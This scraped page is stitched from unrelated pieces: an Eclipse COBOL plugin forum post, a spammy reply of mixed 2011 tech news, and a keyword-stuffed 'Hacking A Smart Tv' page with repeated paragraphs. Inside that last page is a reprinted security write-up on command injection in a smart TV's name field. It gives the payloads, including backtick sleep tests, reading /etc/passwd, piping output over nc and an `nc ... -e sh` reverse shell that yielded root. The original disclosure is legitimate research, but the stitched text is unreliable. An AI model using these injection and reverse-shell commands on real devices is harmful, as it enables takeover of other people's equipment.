Hello Tetsuya, Thanks for answering too! 1. I do not have much time to go deep inside the COBOL Plugin especially if you say that it is not easy part but maybe later and same remark for joining and contributing 2. Thanks for the checkbox state to disable on the Project Properties. I had not seen that. I went to the Window > Preferences > COBOL menu and in the COBOL Settings area there is a checkbox FUJITSU NetCOBOL that is 'uncheckable' (I thought it was the way to disable building process...) 3. ok 4. I 'll try to be more explicit!! Because of problem mentioned in 3 i thought it could be a solution to introduce a specific view (named 'COBOL Console ' for instance) in eclipse to log messages from COBOL Plugin building process. Specific consoles are often available in eclipse for CVS, Tomcat, ... In fact it seems that it is not a problem and that a specific console is already available for COBOL building process!! In the 'Display Selected Console' it was the COBOL Build Process that is selected by default. Other messages can be viewed by selecting other console... Sorry about that. However, I think there is another little problem that you should be interested in knowing (when the Project > Properties > Builders > COBOL Builder is checked ). I am developping a plugin under eclipse and have several projects in my workspace (Java, Java Plugin, COBOL). When I debug my plugin by launching a second eclipse runtime instance (Debug As Eclipse Application in other words!) the COBOL building process is launched many times (13 times, the build messages are displayed and erased ~ 13 times) althought the COBOL project has no modification inside. I do not think that it is a normal behavior. Regards

Re: Cobol Compiler available in plug-in(message #753965 is a reply to message #502215)Mon, 31 October 2011 08:56

Juanita Young Messages: 1 Registered: October 2011

COBOL comes to the Java virtual machine and the New Eclipse Plugin Apache Tomcat COBOL comes to the Java platform Today, Micro Focus is the release of 30-day free trial of Visual COBOL R3. This development environment enables COBOL users choose from a selection of development platforms and frameworks, including Eclipse and the JVM platform. Visual COBOL R3 also adds C # and Java-like constructs in an attempt to make programming easier for Java and COBOL NET. The project also includes a 'Visual COBOL Development Hub 'for Linux and Unix, allowing users to compile and debug COBOL code on your desktop remotely. More information about the project can be found on the website of Micro Focus. In over 50 years of age, COBOL (Common Business Oriented foot Language) is one of the oldest programming languages. Microsoft-Novell deal was still in danger CPTLN According to TechFlash, Microsoft led consortium CPTN are considering buying Novell patents. Although the patent was withdrawn, TechFlash Microsoft has said that this was just a procedural step 'is necessary to allow time to review the proposed transaction.' The consortium of Apple, Oracle and EMC, as well as Microsoft. Novell is being acquired by Attachmate Corporation in a transaction valued at approximately $ 2.2 billion, with the consortium CPTN apparently still thinking about buying at the same time 'certain intellectual property assets' for $ 450 million. The open source community has expressed concern about the acquisition of these patents CPTN. IcedTea Security Releases A new set of security updates have been made available to the IcedTea project: icedtea6 1.7.7, 1.8.4 and 1.9.4 icedtea6 icedtea6. The IcedTea project provides a harness to compile the source code OpenJDK6 using Free Software build tools. Please see the blog of a list of bugs fixed. RackSpace partner with Akamai Rackspace hosting and cloud hosting software company announced a 'strategic relationship' with Akamai, a provider of optimization services in the cloud. Rackspace will offer Akamai web application now and optimize cloud services as part of its portfolio of cloud hosting. Akamai Rackspace integrates features such as Secure Sockets Layer CNAME, in an effort to create a 'one stop shop' for housing, clouds and content acceleration services and web applications.

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yellowracing184 · 3 years

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Hacking A Smart Tv Mac

The companies making internet-connected smart televisions have drawn criticism for collecting and sharing user data. If you want effective protection from unscrupulous companies, shifty hackers. Feb 14, 2018 Constantly update your smart TV firmware and the apps running on it (most smart TVs have an auto-update option). Prefer wired connections over wireless because they’re more difficult to compromise.

Hacking A Smart Tv Mac 10 15

Smart Tv And Hackers

It was one of those lazy evenings, just watching TV after a long day. I was tired but kept on thinking about a vulnerability I found earlier on in a router someone gave me. Finding a flaw in such a device is always quite fun because you often see things that aren’t meant to be seen by the users, except the developers and maybe the company’s tech support team.

Since I was very tired, I just wanted to set the sleep timer on the television and lie down. But while setting the timer I wondered about other possible menu functions, and if there any hidden features that are only meant for the support team or the developers. After a quick Google search on my mobile phone I found out that this brand of televisions has a code that opens a hidden menu.

This piece was originally published on Netsparker, developer of a website vulnerability scanner used by companies including Samsung, Verisign and NASA.

After opening the settings and typing in the code on my remote control, another menu popped up on the left side of the screen. Almost all of the categories it showed weren’t accessible. I could only activate “Hotel Mode” and view the version number of the set.

I wanted to find out more about the TV. Within the settings, there was a category called “info”. I opened it and only saw some more version numbers. Then something else caught my attention; I could actually give my TV set a name.

The vulnerability in my Smart Television set

When you work in Information Security, you can’t help but to test some payloads you use on a daily basis on other input fields you encounter. It might be a GET parameter on your router’s web interface, the control panel of your new printer, or, in my case, a TV. So I thought it would be fun to rename my TV to “television `sleep 5`”.

The companies making internet-connected smart televisions have drawn criticism for collecting and sharing user data. If you want effective protection from unscrupulous companies, shifty hackers.

Upon opening the case of his 40″ Hisense Smart LED TV, he discovered that the logic board actually had two unused USB pads — what luck! He tapped off of them to get 5V @ 500mA to power the Pi.

After entering and submitting the payload from my remote ,the settings menu just froze for a long time. Once it was responsive again I changed the name so I could select other menu entries. I didn’t really think that I had just found a command injection or something similar. It’s not odd for my TV to hang for a few seconds before changes are made, but because now it took a longer time to become responsive, it made me curious.

The time did not match my input as it was way longer than five seconds. I thought it might have something to do with the backtick characters I injected. Maybe the TV did not expect them and threw an error which prevented it from loading. I typed in “television `sleep 0`” and tried it again. It loaded instantly.

There is something definitely happening, but was not sure what and how. So I decided to measure the time. It turned out that it always took the television set three times longer than the input number to become responsive, as shown below:

sleep(2) - 6 seconds

sleep(3) - 9 seconds

sleep(5) - 15 seconds

Running Commands on my Smart TV

I couldn’t believe it. There was actually a command injection in the first input field I tried. Freezing the menu was not an ultimate proof though, and it was not very useful in terms of exploitation. Since I only had 31 characters, minus the two backticks, my payload could only consist of 29 characters.

Below is a list of commands I tried to run on the TV, including an explanation of what they are and also a confirmation if they succeeded or not.

Command

Explanation

chars/

succeeded

`which nc && sleep 2`

which is a linux command that returns the path to a program if it exists.

&& sleep 2 would freeze the menu for 3*2 seconds if the which function found nc on the TV set.

Yes

`which ssh && sleep 2`

I wanted to see if ssh was installed.

`which wget && sleep 2`

But it had wget

Yes

`cat /etc/passwd && sleep 2`

I wanted to see if /etc/passwd was readable. It was, and it would have been a big surprise if it wasn't

Yes

`cat /etc/shadow && sleep 2`

This one is interesting. When you have root privileges the /etc/shadow file is readable. I wanted to test if I am root but the file wasn’t readable.

`ls /etc/shadow && sleep 2`

This is the explanation why the shadow file couldn’t be opened. It just didn’t exist.

It was really late so I decided to go to sleep and try to get a shell the next day. After waking up the hardest part followed: getting out of bed to get the laptop and an ethernet cable. Until now I didn’t even have to go anywhere and I found it quite funny that I was able to run system commands on my TV just by using a remote control.

Getting shell access on the Smart TV

My TV is wall mounted, so plugging in a cable is not as easy as one would imagine. After a dislocated shoulder and several threats towards the TV I plugged the cable in. I connected it to the laptop and found out the laptop’s IP with ipconfig.

So now that I knew the IP address of my laptop, I only had to get a reverse shell to my laptop. Therefore I did not need to know the IP address of the TV. Also a reverse shell is handy because it would bypass any possible firewall rules blocking incoming connections. But before thinking about how to get one in less than 29 characters I wanted to learn a little bit more about the system.

Using Netcat on the Smart TV

I found out that there is nc installed on the TV set, so I decided to pipe the output of certain commands through nc back to my laptop. The first one I tried was of course id, which would tell me whether or not I had root privileges on the Smart TV set.

As seen from the above I had root privileges. This wasn’t too surprising, but it was still nice to see. The next thing I did was getting a directory listing of / with `ls -la /|nc 169.254.56.216 5`

Perfect. But I still had no shell to issue proper commands. All of them were more or less length restricted and not too useful. However, since the version of nc that was installed on the TV allowed the -e flag it was easy to get a reverse shell with: `nc 169.254.213.210 5 -e sh`

I had shell access on the Smart TV

Perfect. I now had a proper shell to work with. I was especially interested in messing with the TV in a visible way. There were multiple possibilities, such as changing the logo that’s being shown during the boot up process, or changing the apps icons. Since this is a smart TV, it has some preinstalled apps such as Youtube and Skype.

I noticed that most of the file system was read only, so I could not just change the logos. But there were pictures that were frequently changing, i.e. the channel preview boxes you can see while zapping between different TV channels. They contained snapshots of the programs that ran when you visited the channel. Obviously those had to be saved in a place where you could read and write files.

I noticed that the icon images were .png files. I listed all files with a .png extension by using the command find / -name *.png but the preview files were not there. However I tried the same search but this time for .jpg files, and I noticed some files like channelImage123.jpg. After uploading the files that I wanted to show, and replacing the corresponding channelImage files, this was the result.

Hacking A Smart Tv Mac 10 15

Your TV is not as smart as you would think

Internet connected devices can have vulnerabilities in the weirdest of places, where you would expect them less. When I tested the sleep command I didn’t even think it would work at all, I did it just out of boredom. I also had no idea that my TV runs on linux and was even more than surprised to see that my vulnerabilities are exploitable.

This vulnerability is not exploitable remotely, however it convinced me that I was right to not connect my TV to the internet, and use its (not so) smart features. I am not really comfortable with the thought that someone can have control over my TV.

I think there are way cooler things and more vulnerabilities that I could exploit on the TV set. But it is not worth the heart pains I get when the device freezes, and I have to wait for a minute to see whether it was bricked or not. Because after all you watch television to relax and not to raise your blood pressure, except if you like to watch football.

Now Read This…

Smart Tv And Hackers